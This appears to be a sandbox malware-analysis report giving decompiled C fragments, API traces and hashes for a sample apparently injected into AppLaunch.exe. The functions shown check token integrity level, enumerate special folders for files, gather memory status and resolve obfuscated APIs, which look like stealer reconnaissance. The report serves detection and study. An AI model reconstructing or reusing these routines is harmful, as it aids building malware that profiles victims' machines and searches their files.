Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

LocalFree.KERNEL32(00000000,00000000), ref: 00414B75
LocalFree.KERNEL32(00000000), ref: 00414B7C

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$Local$Free$Alloc$CloseOpenQueryValuelstrlenwsprintf
String ID:
API String ID: 3850623954-0
Opcode ID: d6fd277f8d7984d958d86ed4f9d7a4fb12657bf975845bbf21a85cb3fdc87e3b
Instruction ID: 0186d657d2654f62203d6208541d537efa8d5647d4dd28d92b8c65a59b166cca
Opcode Fuzzy Hash: d6fd277f8d7984d958d86ed4f9d7a4fb12657bf975845bbf21a85cb3fdc87e3b
Instruction Fuzzy Hash: 74118B72300200BBD7209FA1EC0DE9BBA7CEF45B52B500434B709921A4D6799A42CB78

Uniqueness

Uniqueness Score: -1.00%

Function 00417028 Relevance: 13.6, APIs: 9, Instructions: 63
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00417028() {
				long _v8;
				void* _v12;
				signed int _v16;
				int _t20;
				int _t23;
				int _t26;
				void* _t30;
				union _TOKEN_INFORMATION_CLASS _t32;

				_v8 = _v8 & 0x00000000;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v12) == 0) {
					L8:
					return 0;
				}
				_t32 = 1;
				_t20 = GetTokenInformation(_v12, 1, 0, _v8,  &_v8); // executed
				if(_t20 != 0 || GetLastError() == 0x7a) {
					_t30 = GlobalAlloc(0x40, _v8);
					_t23 = GetTokenInformation(_v12, _t32, _t30, _v8,  &_v8); // executed
					if(_t23 == 0) {
						goto L8;
					}
					_v16 = _v16 & 0x00000000;
					_push( &_v16);
					_push( *_t30);
					if( *0x423058() == 0) {
						goto L8;
					}
					_t26 = lstrcmpiW( *0x423560, _v16); // executed
					if(_t26 != 0) {
						_t32 = 0;
					}
					GlobalFree(_t30);
					return _t32;
				} else {
					goto L8;
				}
			}

0x0041702e
0x00417049
0x004170c7
0x00000000
0x004170c7
0x00417054
0x0041705b
0x00417063
0x0041707b
0x00417089
0x00417091
0x00000000
0x00000000
0x00417093
0x0041709a
0x0041709b
0x004170a5
0x00000000
0x00000000
0x004170b0
0x004170b8
0x004170ba
0x004170ba
0x004170bd
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000008,?,755911B0,755BFDB0), ref: 0041703A
OpenProcessToken.ADVAPI32(00000000), ref: 00417041
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 0041705B
GetLastError.KERNEL32 ref: 00417065
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00417075
GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 00417089
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 0041709D
lstrcmpiW.KERNEL32(00000000), ref: 004170B0
GlobalFree.KERNEL32(00000000), ref: 004170BD

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Token$GlobalInformationProcess$AllocConvertCurrentErrorFreeLastOpenStringlstrcmpi
String ID:
API String ID: 3704111860-0
Opcode ID: 6203097c1c8858f46c456229651642c39cadceb9fca75046156998c2d9a0ec1e
Instruction ID: d2ffa42d82097457fa0e2a2f3fcb1a9fcb1e234b72b9ef7be0f23ae52c4a750c
Opcode Fuzzy Hash: 6203097c1c8858f46c456229651642c39cadceb9fca75046156998c2d9a0ec1e
Instruction Fuzzy Hash: 28111935A00208BBDB219FA2DC08FEFBF79FB08752F500065E505E2160DB388B56DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004170CD Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004170CD(WCHAR* __ecx, WCHAR* __edx, char _a8) {
				void* _t13;
				signed int _t14;
				void* _t15;
				signed int _t21;
				WCHAR* _t22;
				void* _t24;
				signed int _t26;
				signed int _t28;
				WCHAR* _t29;
				void* _t30;
				WCHAR* _t31;
				signed short* _t32;
				WCHAR** _t33;

				_t31 = __edx;
				_t29 = __ecx;
				_t22 = StrStrW(__ecx, __edx);
				if(_t22 == 0) {
					return 0;
				}
				_t13 = LocalAlloc(0x40, lstrlenW(_t29) + _t11); // executed
				_t30 = _t13;
				_t14 = lstrlenW(_t31);
				_t28 = 0;
				_t32 = _t22 + _t14 * 2;
				_t26 =  *_t32 & 0x0000ffff;
				_t15 = 0x22;
				if(_t26 == _t15) {
					L4:
					_t6 =  &_a8; // 0x40214c
					_t33 =  *_t6;
					 *((short*)(_t30 + _t28 * 2)) = 0;
					 *_t33 = StrCpyW( *_t33, _t30); // executed
					LocalFree(_t30); // executed
					return 1;
				}
				_t21 = 0;
				_t24 = 0x22;
				do {
					_t28 = _t28 + 1;
					 *(_t21 + _t30) = _t26;
					_t21 = _t28 + _t28;
					_t26 =  *(_t21 + _t32) & 0x0000ffff;
				} while (_t26 != _t24);
				goto L4;
			}

0x004170d3
0x004170d5
0x004170df
0x004170e3
0x00000000
0x00417148
0x004170f1
0x004170f8
0x004170fa
0x00417102
0x00417104
0x00417107
0x0041710a
0x00417110
0x00417128
0x00417128
0x00417128
0x0041712e
0x0041713b
0x0041713d
0x00000000
0x00417145
0x00417114
0x00417116
0x00417117
0x00417117
0x00417118
0x0041711c
0x0041711f
0x00417123
0x00000000

APIs

StrStrW.SHLWAPI(00000000,05133300,00000000,00000000,00000000,?,0040214C,?,A#@,?,00402341,?,?,?,00000000), ref: 004170D9
lstrlenW.KERNEL32(00000000,?,0040214C,?,A#@,?,00402341,?,?,?,00000000), ref: 004170E6
LocalAlloc.KERNELBASE(00000040,00000000,?,0040214C,?,A#@,?,00402341,?,?,?,00000000), ref: 004170F1
lstrlenW.KERNEL32(05133300,?,0040214C,?,A#@,?,00402341,?,?,?,00000000), ref: 004170FA
StrCpyW.SHLWAPI(L!@,00000000), ref: 00417134
LocalFree.KERNELBASE(00000000,?,0040214C,?,A#@,?,00402341,?,?,?,00000000), ref: 0041713D

Strings

L!@, xrefs: 00417128, 00417132

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Locallstrlen$AllocFree
String ID: L!@
API String ID: 1900397994-2088958405
Opcode ID: a11939d04797b3747ddd2b6f0fa2a27e6ad871584dbdaa1b4449c73473113934
Instruction ID: 3e432a851fe67d0bfacace18c3afb4199acea0f3a126ec778cbaafda13e06948
Opcode Fuzzy Hash: a11939d04797b3747ddd2b6f0fa2a27e6ad871584dbdaa1b4449c73473113934
Instruction Fuzzy Hash: 8001B532344111BFE7205FA9DC489B6B7FCEF89716790043AF686C7261EB788D518768

Uniqueness

Uniqueness Score: -1.00%

Function 00404860 Relevance: 9.1, APIs: 6, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00404860(void* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				void* _t6;
				void* _t15;
				void* _t16;
				void* _t24;
				void* _t26;
				void* _t28;
				intOrPtr _t29;

				_t29 = __edx;
				_t16 = LocalAlloc(0x40, 0x228);
				_t6 = LocalAlloc(0x40, 0x228);
				_t26 = _t6;
				 *0x4230c0(0, _t16, 0x1c, 0, _t24, _t28, _t15, __ecx);
				 *0x4230c0(0, _t26, 0x1a, 0); // executed
				E00401EF6(_t16, _a8, _t29, _a4, 0); // executed
				E00401D6F(_t26, _a8, _t29, _a4, 0); // executed
				if(_t16 != 0) {
					LocalFree(_t16);
				}
				if(_t26 != 0) {
					LocalFree(_t26);
				}
				return 1;
			}

0x0040486f
0x0040487d
0x0040487f
0x0040488c
0x0040488e
0x0040489b
0x004048ac
0x004048bf
0x004048c9
0x004048cc
0x004048cc
0x004048d4
0x004048d7
0x004048d7
0x004048e6

APIs

LocalAlloc.KERNEL32(00000040,00000228,00000000,00000000,00000000,00000002,?,004106B5,00000000,00000000), ref: 00404874
LocalAlloc.KERNEL32(00000040,00000228,?,004106B5,00000000,00000000), ref: 0040487F
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000,?,004106B5,00000000,00000000), ref: 0040488E
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000,?,004106B5,00000000,00000000), ref: 0040489B

Part of subcall function 00401EF6: FindFirstFileW.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401F49

Part of subcall function 00401D6F: FindFirstFileW.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401DC2

LocalFree.KERNEL32(00000000,?,?,?,004106B5,00000000,00000000), ref: 004048CC
LocalFree.KERNEL32(00000000,?,?,?,004106B5,00000000,00000000), ref: 004048D7

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$AllocFileFindFirstFolderFreePathSpecial
String ID:
API String ID: 1820566805-0
Opcode ID: 0ed345187101a02dc227564dd31b94a93f85bf1022d6c23f177376a55c13d98e
Instruction ID: 40598f8e65f252f2404550f8449700378b0a5cafb34c631a21a050efac4b446d
Opcode Fuzzy Hash: 0ed345187101a02dc227564dd31b94a93f85bf1022d6c23f177376a55c13d98e
Instruction Fuzzy Hash: 5801B5323412047BE7301FA19C4AF9B3B29EFC5F12F104538FB096A2D5DA799A1182AD

Uniqueness

Uniqueness Score: -1.00%

Function 00414E02 Relevance: 6.0, APIs: 4, Instructions: 42
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414E02(intOrPtr* _a4) {
				signed int _v56;
				signed int _v60;
				int _v68;
				struct _MEMORYSTATUSEX* _t10;
				void* _t25;
				int _t27;
				intOrPtr* _t28;

				_t27 = 0x40;
				_t10 =  &_v68;
				_v68 = _t27;
				GlobalMemoryStatusEx(_t10); // executed
				if(_t10 != 0) {
					_t25 = LocalAlloc(_t27, 0x400);
					wsprintfW(_t25,  *0x4232e4, (_v56 << 0x00000020 | _v60) >> 0x14, _v56 >> 0x14);
					_t28 = _a4;
					 *_t28 = E0041AD76( *_t28, _t25, __eflags);
					LocalFree(_t25);
					__eflags = 1;
					return 1;
				}
				return _t10 | 0xffffffff;
			}

0x00414e0b
0x00414e0c
0x00414e0f
0x00414e13
0x00414e1b
0x00414e32
0x00414e47
0x00414e4d
0x00414e5d
0x00414e5f
0x00414e67
0x00000000
0x00414e68
0x00000000

APIs

GlobalMemoryStatusEx.KERNELBASE(?,00000001,?,?,?,?,?,?,?,?,?,0041540A,00000000,00000000,00000000,00000000), ref: 00414E13
LocalAlloc.KERNEL32(00000040,00000400,00000000,?,?,?,?,?,?,?,?,?,0041540A,00000000,00000000,00000000), ref: 00414E29
wsprintfW.USER32 ref: 00414E47
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0041540A,00000000), ref: 00414E5F

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$AllocFreeGlobalMemoryStatuswsprintf
String ID:
API String ID: 1040575938-0
Opcode ID: 4ee5e0d6a1ba0f7fc50f6f0449437494cf5395325c16ce6dd4d76fd4416b5acd
Instruction ID: fd103c37601546619c714a309d45a6564db19a761836e93f168e82567324a94b
Opcode Fuzzy Hash: 4ee5e0d6a1ba0f7fc50f6f0449437494cf5395325c16ce6dd4d76fd4416b5acd
Instruction Fuzzy Hash: A7F0F971B00204ABD7205F65DC09EAFBB79EFC0755F404129F602E3294D6389902C6AC

Uniqueness

Uniqueness Score: -1.00%

Function 00407425 Relevance: 4.5, APIs: 3, Instructions: 33
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00407425(struct HINSTANCE__* __ecx, intOrPtr __edx, void* __eflags) {
				void* _t1;
				intOrPtr _t8;
				struct HINSTANCE__* _t14;
				void* _t15;

				_t8 = __edx;
				_t14 = __ecx;
				_t1 = LocalAlloc(0x40, 0x208);
				_t15 = _t1;
				 *0x4230c0(0, _t15, 0x1a, 0);
				if(E004072E5(_t14) != 0) {
					E00407067(_t15, _t15, _t8, _t14, 0); // executed
				}
				LocalFree(_t15);
				return 1;
			}

0x0040742f
0x00407431
0x00407433
0x0040743d
0x00407442
0x00407451
0x0040745b
0x00407460
0x00407464
0x00407470

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,00000000,00410B8C), ref: 00407433
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00407442

Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000,00000000), ref: 004072F7
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 00407309
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 0040731B
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 0040732D
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 0040733F
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 00407351
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 00407363
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 00407375
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 00407387
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 00407399
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 004073AB
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 004073B8
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 004073CA
Part of subcall function 004072E5: GetProcAddress.KERNEL32(00000000), ref: 004073DC

LocalFree.KERNEL32(00000000), ref: 00407464

Part of subcall function 00407067: FindFirstFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004070BF

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: AddressProc$Local$AllocFileFindFirstFolderFreePathSpecial
String ID:
API String ID: 3828419732-0
Opcode ID: 029e3e253e1858f3d6ccfb04bef9905f18329addcc89426550bab6c80d92a737
Instruction ID: e4303a62fd8b9e113c7a9053fedaf38d0af59a060443448183fd8b22364b1cb8
Opcode Fuzzy Hash: 029e3e253e1858f3d6ccfb04bef9905f18329addcc89426550bab6c80d92a737
Instruction Fuzzy Hash: 3BE0D83174521037E2302A761C4AF6F1969DFC5F22F040035F705E62C1DEAD9D0281BE

Uniqueness

Uniqueness Score: -1.00%

Function 00413A99 Relevance: 1.3, APIs: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000040,0000FF78,00000000,0040AD5E), ref: 00413AA3

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
Part of subcall function 0041AD76: RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
Part of subcall function 0041AD76: RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
Part of subcall function 0041AD76: RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
Part of subcall function 0041AD76: lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
Part of subcall function 0041AD76: lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
Part of subcall function 0041AD76: RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
Part of subcall function 0041AD76: RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
Part of subcall function 0041AD76: RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
Part of subcall function 0041AD76: RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
Part of subcall function 0041AD76: RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
Part of subcall function 0041AD76: RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
Part of subcall function 0041AD76: RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
Part of subcall function 0041AD76: RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
Part of subcall function 0041AD76: RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
Part of subcall function 0041AD76: RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFF1
Part of subcall function 0041AD76: RealDriveType.SHELL32(E995579D,00000000), ref: 0041AFFA
Part of subcall function 0041AD76: RealDriveType.SHELL32(84B4EFE9,00000000), ref: 0041B007
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B011
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B017
Part of subcall function 0041AD76: RealDriveType.SHELL32(69DD92CF,00000000), ref: 0041B020
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B02A
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60D9783,00000000), ref: 0041B033
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B03D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B043
Part of subcall function 0041AD76: RealDriveType.SHELL32(D524453E,00000000), ref: 0041B04C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B056
Part of subcall function 0041AD76: LocalAlloc.KERNELBASE(00000040,00000000,?,?,00413AB2), ref: 0041B05E
Part of subcall function 0041AD76: RealDriveType.SHELL32(95C49318,00000000), ref: 0041B079
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B083
Part of subcall function 0041AD76: RealDriveType.SHELL32(1DCFFBF4,00000000), ref: 0041B090
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B09A
Part of subcall function 0041AD76: RealDriveType.SHELL32(9C735FFF,00000000), ref: 0041B0A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0B1
Part of subcall function 0041AD76: RealDriveType.SHELL32(68C482AD,00000000), ref: 0041B0BE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0C8
Part of subcall function 0041AD76: RealDriveType.SHELL32(691D272A,00000000), ref: 0041B0D5
Part of subcall function 0041AD76: RealDriveType.SHELL32(DBDB247C,00000000), ref: 0041B0E2
Part of subcall function 0041AD76: RealDriveType.SHELL32(89A7247D,00000000), ref: 0041B0EF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0F9
Part of subcall function 0041AD76: RealDriveType.SHELL32(7BCCF2AA,00000000), ref: 0041B106
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B110
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD492CE4,00000000), ref: 0041B11D
Part of subcall function 0041AD76: RealDriveType.SHELL32(9D6BEA8D,00000000), ref: 0041B12A
Part of subcall function 0041AD76: RealDriveType.SHELL32(E0F34789,00000000), ref: 0041B137
Part of subcall function 0041AD76: RealDriveType.SHELL32(044B76F0,00000000), ref: 0041B144
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B14E

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$AllocLocallstrlen
String ID:
API String ID: 1869826601-0
Opcode ID: 2bd65e3359256f6fefde8b38b9c14fb24db112597941505af6395ba4af789274
Instruction ID: 9eaf397ab58c0634f8fd88326675983e6dd2fc0f460be2a77706c1337a8940d9
Opcode Fuzzy Hash: 2bd65e3359256f6fefde8b38b9c14fb24db112597941505af6395ba4af789274
Instruction Fuzzy Hash: E5E0C234301B0047CB2CBFB0A8198AA3763AB8934F720C5399501477A6FA3CAD43878D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

